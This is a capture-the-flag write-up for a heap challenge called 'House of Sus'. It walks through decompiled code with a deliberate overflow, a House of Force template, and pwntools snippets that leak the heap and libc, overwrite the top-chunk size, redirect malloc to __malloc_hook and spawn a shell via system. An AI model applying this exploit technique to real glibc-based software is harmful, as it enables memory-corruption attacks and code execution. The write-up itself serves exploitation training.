House of Sus
This is a heap-based challenge which was kinda funny to solve, so let's dive in by looking at the binary
Here is what we get when we run it, and it seems like amongus in a different interface, btw we have a leak of the heap base and three operations that we can use, they are not very clear, so we will use ghidra to decompile it
Option 3
void call_emergency_meeting(void) {
long in_FS_OFFSET;
char tmp;
ulong resp_size;
char *response;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("\nWhy\'d you call an emergency meeting?! I was doing my tasks >:(");
printf("\nUh oh, you\'ve been called out, how many characters will your response be? ");
__isoc99_scanf("%lu%c",&resp_size,&tmp);
printf("Enter your response: ");
response = (char *)malloc(resp_size);
// No malloc return check
fgets(response,0x40,stdin);
// Always 0x40 bytes to write, so chunk of 0x20 == overflow
printf("\nYou responded: %s\n",response);
vote();
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
Thats the only option that we need to exploit the entire code, or a function which calls malloc of a custom size without checking any return error of the function, even more in every case this function will let us to write 0x40 bytes to the chunk no matter the size allocated. This means that we can allocate a chunk smaller in order to have an overflow.
House of Force
To sum up we have a heap-base
leak, an overflow, and a vulnerable libc or the 2.27
. These are all the assumptions that we need to exploit the House of Force, which let us to allocate an arbitrary address by changing the wilderness size. Below there is template file to understand it.
// Source https://heap-exploitation.dhavalkapil.com/attacks/house_of_force
// Attacker will force malloc to return this pointer
char victim[] = "This is victim's string that will returned by malloc"; // At 0x601060
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
struct chunk_structure *chunk, *top_chunk;
unsigned long long *ptr;
size_t requestSize, allotedSize;
// First, request a chunk, so that we can get a pointer to top chunk
ptr = malloc(256); // At 0x131a010
chunk = (struct chunk_structure *)(ptr - 2); // At 0x131a000
// lower three bits of chunk->size are flags
allotedSize = chunk->size & ~(0x1 | 0x2 | 0x4);
// top chunk will be just next to 'ptr'
top_chunk = (struct chunk_structure *)((char *)chunk + allotedSize); // At 0x131a110
// here, attacker will overflow the 'size' parameter of top chunk
top_chunk->size = -1; // Maximum size
// Might result in an integer overflow, doesn't matter
requestSize = (size_t)victim // The target address that malloc should return
- (size_t)top_chunk // The present address of the top chunk
- 2*sizeof(long long) // Size of 'size' and 'prev_size'
- sizeof(long long); // Additional buffer
// This also needs to be forced by the attacker
// This will advance the top_chunk ahead by (requestSize+header+additional buffer)
// Making it point to 'victim'
malloc(requestSize); // At 0x131a120
// The top chunk again will service the request and return 'victim'
ptr = malloc(100); // At 0x601060 !! (Same as 'victim')
This simply proves that by overwriting the wilderness
or the top-chunk
size to 0xFFFFFFFFFFFFFFFF
as well as -1
we are able to allocate an arbitrary chunk.
The idea is that when we make a new malloc call the top-chunk
will move lower and lower in order to reserve us the wanted memory, usually the wilderness
reaches zero, the next malloc will proc the brk
call to get even more memory, but if we overwrite it to 0xFFFFFFFFFFFFFFFF
we are able to move through all the memory untill the desired address.
Exploitation
So that's the plan now we need a target to overwrite, and is pretty obvious or the __malloc_hook
which if not equal to zero, calls the specified function. Like this if we overwrite it with system
or one-gadget
it will call them the next time we will make a malloc
call.
The last thing we need is a libc leak. To get it is just a piece of cake, because there is a given function which leaks the seed
.
Option 2
void report(void){
if (tasks_completed == '\0') {
puts("\nDo your tasks!");
}
else {
printf("\nIf you want to game the system before you vote... here\'s the seed: %lu\n",seed);
vote();
}
return;
}
To start out we will create two functions to fetch the leaks and calculate each base.
def get_leak(): p.recvuntil(b"game: ", timeout=0.5) leak = int(p.recvline().strip(), 16) + 0x1050 return leak def rand_leak(): p.sendlineafter(b"choice: ", b"2", timeout=0.5) p.recvuntil(b"seed: ", timeout=0.5) leak = int(p.recvline().strip(), 10) p.sendlineafter(b"choice: ", b"3", timeout=0.5) return leak
Then we need to overwrite the topchunk size with a malloc call, from the third option
# Used to pad because of a huge chunk betweend us and the wilderness call_emergency(0xa, b"aaaa", 3) payload = flat( b"A" * 0x10, p64(NULL), p64(0xffffffffffffffff), ) # Actual chunk to overwrite the size call_emergency(0xa, payload, 3)
Here is the heap layout
Now we just need the perfect distance between us and the __malloc_hook
, which is just
result_address = __malloc_hook - chunk_location - 0x20 # -0x20 for the metadata
From GDB, the size requested for the malloc call
Here is the chunk size reached
Thats the __memalign_hook
which is just before the __malloc_hook
, so the next malloc call will return it to us.
Here it is! We can now write over it one-gadget
or just system
like i did
With the last allocation call we will pass the address of /bin/sh
to it and get a shell
And... Here is our shell!
Thanks for your attention 0xCY@